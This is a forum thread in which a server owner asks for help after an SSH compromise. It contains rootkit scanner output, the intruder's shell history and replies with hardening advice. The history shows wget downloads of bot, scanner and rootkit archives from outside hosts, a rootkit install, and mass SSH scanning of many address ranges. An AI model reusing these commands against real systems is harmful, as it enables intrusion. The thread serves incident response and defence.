Ive been hacked

Moved my mandrake 9.2 from one hosting company to another and the new company didnt block ssh traffic too it, and within 2 days Ive been hacked.

They still havent blocked traffic too it so I now have to shutdown sshd everytime Ive finished working on it

I cannot afford to clear the machine and start again on it so I need to do my best to clean it and lock it down, so I really need some help from you guys and any help at all is appreciated.

Ill just start by saying that I have already deleted several accounts the hacker made and I have also replaced /sbin/init because the system would not let me restart, it kept saying something like:

FUCK: trying to hack kernel

or something like that anyway

Also, this is the bottom of my /etc/rc.d/rc.sysinit file:

# Xntps (NTPv3 daemon) startup..
/usr/sbin/xntps -q

which I read isnt good


Ill post the results from chkrootkit and root kit hunter, along with the history that the user left, and also their ip addresses:

CHKROOTKIT:
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not found
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... INFECTED
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... can't exec ./strings-static, not tested
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not infected
Checking `mingetty'... not infected
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... INFECTED
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not found
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not found
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... /etc/ld.so.hash
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/lib/security/.config
/lib/security/.config
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... Warning: Possible Showtee Rootkit installed
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for OBSD rk v1... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... /usr/include/file.h /usr/include/proc.h
Searching for HKRK rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... Possible ShKit rootkit installed
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... Checking `rexedcs'... not found
Checking `sniffer'... not tested: can't exec ./ifpromisc
Checking `w55808'... not infected
Checking `wted'... not tested: can't exec ./chkwtmp
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... not tested: can't exec ./chklastlog
Checking `chkutmp'... not tested: can't exec ./chkutmp




ROOT KIT HUNTER:
Rootkit Hunter 1.1.1 is running

Determining OS... Ready


Checking binaries
* Selftests
Strings (command) [ OK ]


* System tools
Performing 'known good' check...
/sbin/chkconfig [ OK ]
/sbin/depmod [ OK ]
/sbin/ifconfig [ BAD ]
/sbin/ifstatus [ OK ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/rmmod [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/sbin/syslogd [ BAD ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/egrep [ OK ]
/bin/fgrep [ OK ]
/bin/grep [ OK ]
/bin/id [ OK ]
/bin/kill [ OK ]
/bin/login [ BAD ]
/bin/ls [ BAD ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/netstat [ BAD ]
/bin/ps [ BAD ]
/bin/sh [ OK ]
/bin/su [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/du [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ BAD ]
/usr/bin/head [ OK ]
/usr/bin/kill [ OK ]
/usr/bin/login [ BAD ]
/usr/bin/lsattr [ OK ]
/usr/bin/md5sum [ BAD ]
/usr/bin/passwd [ BAD ]
/usr/bin/top [ BAD ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ BAD ]
/usr/bin/whereis [ OK ]
/usr/bin/who [ OK ]


Check rootkits
* Default files and directories
Rootkit '55808 Trojan - Variant A'... [ OK ]
Rootkit 'AjaKit'... [ OK ]
Rootkit 'aPa Kit'... [ OK ]
Rootkit 'Apache Worm'... [ OK ]
Rootkit 'Ambient (ark) Rootkit'... [ OK ]
Rootkit 'Balaur Rootkit'... [ OK ]
Rootkit 'BeastKit'... [ OK ]
Rootkit 'BOBKit'... [ OK ]
Rootkit 'CiNIK Worm (Slapper.B variant)'... [ OK ]
Rootkit 'Danny-Boy's Abuse Kit'... [ OK ]
Rootkit 'Devil RootKit'... [ OK ]
Rootkit 'Dica'... [ OK ]
Rootkit 'Dreams Rootkit'... [ OK ]
Rootkit 'Duarawkz'... [ OK ]
Rootkit 'Flea Linux Rootkit'... [ Warning! ]

--------------------------------------------------------------------------------
Found parts of this rootkit/trojan by checking the default files and directories
Please inspect the available files, by running this check with the parameter
--createlogfile and check the log file (current file: /dev/null).
--------------------------------------------------------------------------------

Rootkit 'FreeBSD Rootkit'... [ OK ]
Rootkit 'Fuck`it Rootkit'... [ OK ]
Rootkit 'GasKit'... [ OK ]
Rootkit 'Heroin LKM'... [ OK ]
Rootkit 'HjC Kit'... [ OK ]
Rootkit 'ignoKit'... [ OK ]
Rootkit 'ImperalsS-FBRK'... [ OK ]
Rootkit 'Irix Rootkit'... [ OK ]
Rootkit 'Kitko'... [ OK ]
Rootkit 'Knark'... [ OK ]
Rootkit 'Li0n Worm'... [ OK ]
Rootkit 'Lockit / LJK2'... [ OK ]
Rootkit 'MRK'... [ OK ]
Rootkit 'RootKit for SunOS / NSDAP'... [ OK ]
Rootkit 'Optic Kit (Tux)'... [ OK ]
Rootkit 'Oz Rootkit'... [ OK ]
Rootkit 'Portacelo'... [ OK ]
Rootkit 'R3dstorm Toolkit'... [ OK ]
Sebek LKM [ OK ]
Rootkit 'Scalper Worm'... [ OK ]
Rootkit 'Shutdown'... [ OK ]
Rootkit 'SHV4'... [ Warning! ]

--------------------------------------------------------------------------------
Found parts of this rootkit/trojan by checking the default files and directories
Please inspect the available files, by running this check with the parameter
--createlogfile and check the log file (current file: /dev/null).
--------------------------------------------------------------------------------

Rootkit 'Sin Rootkit'... [ OK ]
Rootkit 'Slapper'... [ OK ]
Rootkit 'Sneakin Rootkit'... [ OK ]
Rootkit 'Suckit Rootkit'... [ OK ]
Rootkit 'SunOS Rootkit'... [ Warning! ]

--------------------------------------------------------------------------------
Found parts of this rootkit/trojan by checking the default files and directories
Please inspect the available files, by running this check with the parameter
--createlogfile and check the log file (current file: /dev/null).
--------------------------------------------------------------------------------

Rootkit 'Superkit'... [ OK ]
Rootkit 'TBD (Telnet BackDoor)'... [ OK ]
Rootkit 'TeLeKiT'... [ OK ]
Rootkit 'T0rn Rootkit'... [ OK ]
Rootkit 'Trojanit Kit'... [ OK ]
Rootkit 'Tuxtendo'... [ OK ]
Rootkit 'URK'... [ OK ]
Rootkit 'VcKit'... [ OK ]
Rootkit 'Volc Rootkit'... [ OK ]
Rootkit 'X-Org SunOS Rootkit'... [ OK ]
Rootkit 'zaRwT.KiT Rootkit'... [ OK ]

* Suspicious files and malware
Scanning for known rootkit files [ OK ]
Miscellaneous Login backdoors [ OK ]
Miscellaneous directories [ OK ]
Sniffer logs [ OK ]

* Trojan specific characteristics
shv4
Checking /etc/rc.d/rc.sysinit
Test 1 [ Clean ]
Test 2 [ Clean ]
Test 3 [ Clean ]
Checking /etc/inetd.conf [ Not found ]

* Suspicious file properties
chmod properties
Checking /bin/ps [ Clean ]
Checking /bin/ls [ Clean ]
Checking /usr/bin/w [ Clean ]
Checking /usr/bin/who [ Clean ]
Checking /bin/netstat [ Clean ]
Checking /bin/login [ Clean ]
Script replacements
Checking /bin/ps [ Clean ]
Checking /bin/ls [ Clean ]
Checking /usr/bin/w [ Clean ]
Checking /usr/bin/who [ Clean ]
Checking /bin/netstat [ Clean ]
Checking /bin/login [ Clean ]

* OS dependant tests

Linux
Checking loaded kernel modules... [ OK ]


Networking
* Check: frequently used backdoors
Port 2001: Scalper Rootkit [ OK ]
Port 2006: CB Rootkit [ OK ]
Port 2128: MRK [ OK ]
Port 14856: Optic Kit (Tux) [ OK ]
Port 47107: T0rn Rootkit [ OK ]
Port 60922: zaRwT.KiT [ OK ]

* Interfaces
Scanning for promiscuous interfaces [ OK ]


System checks
* Allround tests
Checking hostname... Found. Hostname is xxxx
Checking for differences in user accounts... OK. No changes.
Checking for differences in user groups... OK. No changes.
Checking rc.local file...
- /etc/rc.local [ OK ]
- /etc/rc.d/rc.local [ OK ]
- /usr/local/etc/rc.local [ Not found ]
- /usr/local/etc/rc.d/rc.local [ Not found ]
- /etc/conf.d/local.start [ Not found ]
Checking rc.d files...
Processing........................................
........................................
........................................
........................................
........................................
............
Result rc.d files check [ OK ]
Checking history files
Bourne Shell [ OK ]

* Filesystem checks
Checking /dev for suspicious files... [ OK ]
Scanning for hidden files... [ OK ]


Security advisories
* Check: Groups and Accounts
Searching for /etc/passwd... [ Found ]
Checking users with UID '0' (root)... [ OK ]

* Check: SSH
Searching for sshd_config...
Found /etc/ssh/sshd_config
Checking for allowed root login... Watch out Root login possible. Possible risk!
Hint: see logfile for more information
info: PermitRootLogin yes
Hint: See logfile for more information about this issue
Checking for allowed protocols... [ Warning ]
info: Users can use SSH1-protocol (see logfile for more information).

* Check: Events and Logging
Search for syslog configuration... found
Checking for running syslog slave... [ OK ]
Checking for logging to remote system... [ OK (no remote logging) ]


---------------------------- Scan results ----------------------------

MD5
MD5 compared: 63
Incorrect MD5 checksums: 12

File scan
Scanned files: 309
Possible infected files: 3
Possible rootkits: Flea Linux Rootkit SHV4 SunOS Rootkit

Scanning took 25 seconds

-----------------------------------------------------------------------

Do you have some problems, undetected rootkits, false positives, ideas
or suggestions?
Please e-mail me by filling in the contact form

-----------------------------------------------------------------------




HISTORY:
266 w
267 passwd
268 uname -a
269 cat /proc/cpuinfo
270 uname -a
271 exit
272 w
273 /sbin/ifconfig |grep inet
274 cd /home
275 ls
276 passwd
277 ls
278 useradd craig
279 passwd craig
280 cd /var/tmp
281 cd /tmp
282 cd /var/tmp
283 mkdir ...
284 cd ...
285 wget
286 wget shadowhk.from.ro/bots.tgz
287 tar xzvf bots.tgz
288 rm -rf bots.tgz
289 mv mech in
290 cd in
291 ls
292 pico
293 nano
294 cd ..
295 ls
296 rm -rf in
297 wget users.rol.ro/valitos/Scanner/morfi.gz
298 tar xzvf morfi.gz
299 rm -rf morfi.gz
300 cd morfi
301 ./scan 217.10
302 ./go.sh 217.10
303 rm -rf mfu.txt
304 ./go.sh 212.111
305 ./ssh-scan 100
306 rm -rf mfu.txt
307 ./go.sh 194.97
308 ./go.sh 193.231
309 ./go.sh 208.181
310 ./go.sh 207.236
311 ./go.sh 217.10
312 ./scan 217.10
313 ./go.sh 210.249
314 ./ss 22 -b 210.249 -s 10
315 ./ss 22 -b 148.74 -s 10
316 cd ..
317 ls
318 rm -rf morfi
319 wget geocities.com/larishate/rootkit.tgz
320 tar xzvf rootkit.tgz
321 rm -rf rootkit.tgz
322 cd rootkit
323 ./setup cinema123 55555
324 cd ..
325 ls
326 rm -rf H4ck3rZ rootkit/
327 exit
328 w
329 uname -a
330 cat /etc/issue
331 useradd luka
332 useradd john
333 passwd john
334 cd /home
335 ls
336 passwd bf2
337 exit
338 useradd craig
339 useradd luka
340 passwd luka
341 cd /var/tmp
342 cd /tmp/...
343 ls -a
344 wget users.rol.ro/valitos/Scanner/morfi.gz
345 tar xzvf morfi.gz
346 rm -rf morfi.gz
347 cd morfi
348 ./go.sh 134.75 -s 10
349 ./go.sh 217.10
350 ./scan 134.75
351 ./scan 64.7
352 ps -x
353 ./ssh-scan 100&
354 exirt
355 exit
356 vi /home/newcomers_cod2/cod2-server/awe3b3/awe.cfg #
357 w
358 cd /var/tmp/...
359 cd /tmp/...
360 ls -a
361 cd morfi
362 cat vuln.txt
363 ./go.sh 217.10
364 ./scan 210.59
365 ps -x
366 ./ss 22 -b 217.20 -s 10
367 mv bios.txt mfu.txt
368 ./ssh-scan 100
369 rm -rf mfu.txt
370 ./ss 22 -b 218.188 -s 10
371 mv bios.txt mfu.txt
372 ./ssh-scan 100
373 rm -rf mfu.txt
374 ./ss 22 -b 216.35 -s 10
375 mv bios.txt mfu.txt
376 ./ssh-scan 100
377 rm -rf mfu.txt
378 ./ss 22 -b 85.36 -s 10
379 mv bios.txt mfu.txt
380 ./ssh-scan 10
381 ./ssh-scan 100
382 rm -rf mfu.txt
383 ./ss 22 -b 196.2 -s 10
384 mv bios.txt mfu,txt
385 mv mfu,txt mfu.txt
386 ./ssh-scan 100
387 rm -rf mfu.txt
388 ./ss 22 -b 217.25 -s 10
389 mv bios.txt mfu.txt
390 ./ssh-scan 100
391 ssh root@195.199.207.129
392 clear
393 rm -rf mfu.txt
394 ./ss 22 -b 207.225 -s 10
395 mv bios.txt mfu.txt
396 ./ssh-scan 100
397 rm -rf mfu.txt
398 ./ss 22 -b 216.183 -s 10
399 mv bios.txt mfu.txt
400 ./ssh-scan 100
401 ssh cisco@216.183.118.170
402 ssh cisco@216.183.118.174
403 w
404 uname -a
405 cat vuln.txt
406 rm -rf mfu.txt
407 ./ss 22 -b 206.210 -s 10
408 mv bios.txt mfu.txt
409 ./ssh-scan 100
410 ./ssh-scan 100&
411 exit
412 cd /var/tmp/.../morfi
413 cd /tmp/.../morfi
414 ./ss 22 -b 217.10 -s 10
415 exit
416 cd /var/tmp/.../morfi
417 cd /tmp/morfi
418 cd /tmp/.../morfi
419 cat vuln.txt
420 ls
421 ./ssh-scan 100
422 rm -rf mfu.txt
423 clear
424 ./ss 22 -b 64.207 -s 10
425 mv bios.txt mfu.txt
426 ./ssh-scan 100
427 rm -rf mfu.txt
428 ./ss 22 -a 133 -s 10
429 mv bios.txt mfu.txt
430 ./ssh-scan 100
431 rm -rf mfu.txt
432 ./ss 22 -b 81.199 -s 10
433 mv bios.txt mfu.txt
434 ./ssh-scan 100
435 rm -rf mfu.txt
436 ./ss 22 -b 199.77 -s 10
437 ./ss 22 -b 194.176 -s 10
438 mv bios.txt mfu.txt
439 ./ssh-scan 100
440 rm -rf mfu.txt
441 ./ss 22 -b 212.192 -s 10
442 ./ss 22 -b 131.1 -s 10
443 ./ss 22 -b 195.159 -s 10
444 mv bios.txt mfu.txt
445 ./ssh-scan 100
446 rm -rf mfu.txt
447 ./ss 22 -b 205.139 -s 10
448 mv bios.txt mfu.txt
449 ./ssh-scan 100
450 rm -rf mfu.txt
451 ./ss 22 -b 63.251 -s 10
452 mv bios.txt mfu.txt
453 ./ssh-scan 100
454 rm -rf mfu.txt
455 ./ss 22 -b 217.89 -s 10
456 mv bios.txt mfu.txt
457 ./ssh-scan 100
458 rm -rf mfu.txt
459 ./ss 22 -b 4.3 -s 10
460 mv bios.txt mfu.txt
461 ./ssh-scan 100
462 rm -rf mfu.txt
463 ./ss 22 -b 151.4 -s 10
464 ./ss 22 -b 210.228 -s 10
465 ./ss 22 -b 132.254 -s 10
466 ./ss 22 -b 217.20 -s 10
467 ./ss 22 -a 217.10 -s 10
468 ./scan 217.10
469 ./ss 22 -b 62.85 -s 10
470 ./ss 22 -b 66.20 -s 10
471 mv bios.txt mfu.txt
472 ./ssh-scan 100
473 rm -rf mfu.txt
474 ./ss 22 -b 62.146 -s 10
475 mv bios.txt mfu.txt
476 ./ssh-scan 100
477 exit
478 cd /tmp/.../morfi
479 rm -rf mfu.txt
480 ./ss 22 -b 196.15 -s 10
481 mv bios.txt mfu.txt
482 ./ssh-scan 100
483 rm -rf mfu.txt
484 ./ss 22 -b 63.142 -s 10
485 rm -rf mfu.txt
486 ./ss 22 -b 66.150 -s 10
487 exit
488 cd /tmp/.../morfi
489 ./scan 217.10
490 ./go.sh 217.10
491 exit
492 cd /tmp/.../morfi
493 ./ss 22 -b 64.35 -s 10
494 ./ss 22 -b 217.10 -s 10
495 exit
496 cd /tmp/.../morfi
497 ./go.sh 217.10
498 ./ss 22 -b 207.38 -s 10
499 mv bios.txt mfu.txt
500 ./ssh-scan 100
501 cd /tmp/.../morfi
502 cat vuln.txt
503 rm -rf mfu.txt
504 ./ss 22 -b 32.97 -s 10
505 mv bios.txt mfu.txt
506 ./ssh-scan 100
507 rm -rf mfu.txt
508 ./ss 22 -b 210.142 -s 10
509 mv bios.txt mfu.txt
510 ./ssh-scan 100
511 rm -rf mfu.txt
512 ./ss 22 -b 63.161 -s 10
513 mv bios.txt mfu.txt
514 ./ssh-scan 100
515 rm -rf mfu.txt
516 ./ss 22 -b 62.49 -s 10
517 ./go.sh 217.10
518 exit
519 cd /tmp/.../morfi
520 ./ss 22 -b 192.116 -s 10
521 ./ss 22 -b 195.74 -s 10
522 exit
523 cd /tmp/.../morfi
524 ./ss 22 -b 131.178 -s 10
525 exit
526 cd /tmp/.../morfi
527 ./ss 22 -b 151.17 -s 10
528 ./ss 22 -b 151.17 -s 6
529 ./ss 22 -b 217.10 -s 6
530 exit
531 cd /tmp/.../morfi
532 ./ss 22 -b 65.89 -s 10
533 exit
534 cd /tmp/.../morfi
535 ./ss 22 -b 69.46 -s 10
536 ./ss 22 -b 217.10 -s 10
537 ./scan 69.46
538 ./scan 151.17
539 ./scan 196.22
540 ./scan 61.39
541 exit
542 cd /tmp/.../morfi
543 rm -rf mfu.txt
544 ./ss 22 -b 193.70 -s 10
545 clear
546 w
547 ./go.sh 202.28
548 ./scan 202.28
549 ./ss 22 -b 217.10 -s 10
550 rm -rf mfu.txt
551 ./ss 22 -b 210.163 -s 10
552 mv bios.txt mfu.txt
553 ./ssh-scan 100
554 rm -rf mfu.txt
555 ./ss 22 -b 212.179 -s 10
556 ./ss 22 -b 217.19 -s 10
557 ./ss 22 -b 198.26 -s 10
558 ./ss 22 -a 198. -s 10
559 cat bios.txt
560 ./ss 22 -a 198. -s 10
561 ./ss 22 -b 212.108 -s 10
562 w
563 clear
564 ./ss 22 -b 65.89 -s 10
565 ./scan 65.89
566 exit
567 cd /tmp/.../morfi
568 ./ss 22 -b 131.234 -s 10
569 mv bios.txt mfu.txt
570 ./ssh-scan 100
571 rm -rf mfu.txt
572 ./ss 22 -b 129.194 -s 10
573 mv bios.txt mfu.txt
574 ./ssh-scan 100
575 rm -rf mfu.txt
576 ./ss 22 -b 131.234 -s 10
577 ./ss 22 -b 209.185 -s 10
578 exit
579 cd /tmp/.../morfi
580 cat vuln.txt
581 rm -rf mfu.txt
582 ./ss 22 -b 209.226 -s 10
583 mv bios.txt mfu.txt
584 ./ssh-scan 100
585 rm -rf mfu.txt
586 ./ss 22 -b 63.143 -s 10
587 ./ss 22 -b 64.210 -s 10
588 mv bios.txt mfu.txt
589 ./ssh-scan 100
590 rm -rf mfu.txt
591 ./ss 22 -b 68.153 -s 10
592 mv bios.txt mfu.txt
593 ./ssh-scan 100
594 rm -rf mfu.txt
595 ./ss 22 -b 129.33 -s 10
596 mv bios.txt mfu.txt
597 ./ssh-scan 100
598 clear
599 rm -rf mfu.txt
600 ./ss 22 -b 142.179 -s 10
601 mv bios.txt mfu.txt
602 ./ssh-scan 100
603 clear
604 exit
605 cd /tmp/.../morfi
606 rm -rf mfu.txt
607 ./ss 22 -b 207.104 -s 10
608 mv bios.txt mfu.txt
609 ./ssh-scan 100
610 rm -rf mfu.txt
611 ./ss 22 -b 209.123 -s 10
612 mv bios.txt mfu.txt
613 ./ssh-scan 100
614 rm -rf mfu.txt
615 ./ss 22 -b 81.201 -s 10
616 mv bios.txt mfu.txt
617 ./ssh-scan 100
618 rm -rf mfu.txt
619 ./ss 22 -b 196.35 -s 10
620 ./ss 22 -b 216.77 -s 10
621 exit
622 cd /tmp/.../morfi
623 ./ss 22 -b 4.35 -s 10
624 ./ss 22 -b 217.10 -s 10
625 ./scan 128.32
626 ls -a
627 cd ..
628 w
629 exit




IP ADDRESSES:
194.116.141.81
203.153.167.3
194.116.141.81
194.242.114.44




Like I say, Ideally id like to clean this up and lock it down so any help would be really appreciated

Thanks for your time

and the new company didnt block ssh traffic too it, and within 2 days Ive been hacked.
You didn't restrict access to ssh to "known good" IP ranges like where administrators can ssh in from, you allow ssh root account access and you allow SSHV1 protocol.


I cannot afford to clear the machine and start again on it
Why not? They have breached your box in a way you don't know, they had all the time to plant backdoors, and they got access to any and all of your passwd and other data. Unless you have the knowledge to resurrect a box in a way trust can be restored and came prepared I would strongly advice against trying so. In the mean time shut down all public services and set up itpables so only traffic from your management IP's or range will be allowed.

---

Checking `ifconfig'... INFECTED
Checking `pstree'... INFECTED
Checking `aliens'... /etc/ld.so.hash
Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed
/lib/security/.config
/lib/security/.config
Searching for Showtee... Warning: Possible Showtee Rootkit installed
Searching for Romanian rootkit... /usr/include/file.h /usr/include/proc.h
Searching for ShKit rootkit default files and dirs... Possible ShKit rootkit installed


/sbin/ifconfig [ BAD ]
/sbin/syslogd [ BAD ]
/bin/login [ BAD ]
/bin/ls [ BAD ]
/bin/netstat [ BAD ]
/bin/ps [ BAD ]
/usr/bin/find [ BAD ]
/usr/bin/login [ BAD ]
/usr/bin/md5sum [ BAD ]
/usr/bin/passwd [ BAD ]
/usr/bin/top [ BAD ]
/usr/bin/wget [ BAD ]
Rootkit 'Flea Linux Rootkit'... [ Warning! ]
Rootkit 'SHV4'... [ Warning! ]
Rootkit 'SunOS Rootkit'... [ Warning! ]
Checking for allowed root login... Watch out Root login possible. Possible risk!
info: Users can use SSH1-protocol (see logfile for more information).

ok so how do I use iptables to block ssh apart from an ip range and how do I disable ssh1 access?

I take it ssh1 isnt safe anymore then

any other hints you can give me to make the box secure?

Thanks

Mandrake uses shorewall to configure iptables, see the files in /etc/shorewall. The rules file is where you'd block/unblock specific ports. Eg:

DENY net loc tcp ssh

See http://www.shorewall.net/Documentation.html (remember you'd be running shorewall 2.x)

You really should upgrade to something more recent (Mandrake/Mandriva is still free) since they long ago stopped doing security updates for 9.2. If your ssh is that badly setup or that old that it almost straight away gets cracked when exposed to the net then you have a serious problem with your system. You pretty much have to do a complete reinstall now as unspawn suggested so you may as well reinstall with something new which is supported and doesn't have as many security vulnerabilities.

ok ive upgraded to mandrake 10.1 with iptbales installed and running

2 questions

1) how do I allow ssh access from my network (say the ip ranges were 192.168.0.1 - 192.168.0.60)

2) If I reboot, all rules are lost.....how do I overcome this and ensure the rules ARE ALWAYS IN PLACE?

Thanks

ok ive upgraded to mandrake 10.1 with iptbales installed and running
I'm sorry if anyone here gave you the wrong impression, but upgrading is not the solution.

What you should do is save your data (that is: database backups and readable data, so no binaries) off-site, have the disks wiped clean and then install the O.S. It may seem over the top, but is unfortunately necessary to be 100 percent sure nothing was left. Anyone with enough knowledge and time to figure out how your box was compromised may take shortcuts but anyone else I wouldn't recommend taking that road.

There is some hardened distro, you can try it.
I recommend astaro

http://www.astaro.com/

how do I allow ssh access from my network (say the ip ranges were 192.168.0.1 - 192.168.0.60)

Firestarter or Guarddog has such a feature to do it with GUI.

of course, you can set it up in console. but i didn't read iptables manual, so i can't help you that console part..

I'm not sure why you got 10.1 - its 2 versions behind now and probably will stop getting security updates soon, if it hasn't already The latest is Mandriva 2006 and its a free download off their website as normal.

Mandrake uses shorewall to configure iptables so you should add rules using that instead of directly using the iptables command. Its pretty easy, see http://www.shorewall.net/Documentation.html

If you want to use your iptables script or Guarddog or Firestarter instead then just uninstall shorewall.

As suggested in the previous posts, you really should back up your data (NO BINARIES) and wipe the disks, then do a fresh install.

To harden sshd but keep it accessible do the following:

First create a group (such as sshusers) that contains only the users that are allowed to login via ssh, then add those options to /etc/ssh/sshd_config (or it's equivelant in your distro):

PermitRootLogin no
AllowGroups sshusers

Other suggestions to hardening sshd include:
1) Change the default port (22) to something else... this will keep out most script kiddies.
2) Use an ssh lockout script to ban IPs that get too many failed logins. A very good script (which I use on my server) can be found at http://www.zmonkey.org/blog/node/28
Again, note that this script is written for Debian so you mgiht want to tweak it a bit.

<Edit>
To save your iptables rules use:
#iptables -nvL
check that everything is as it should be, then
#/etc/init.d/iptables save
#/etc/init.d/iptables restart

hope this helps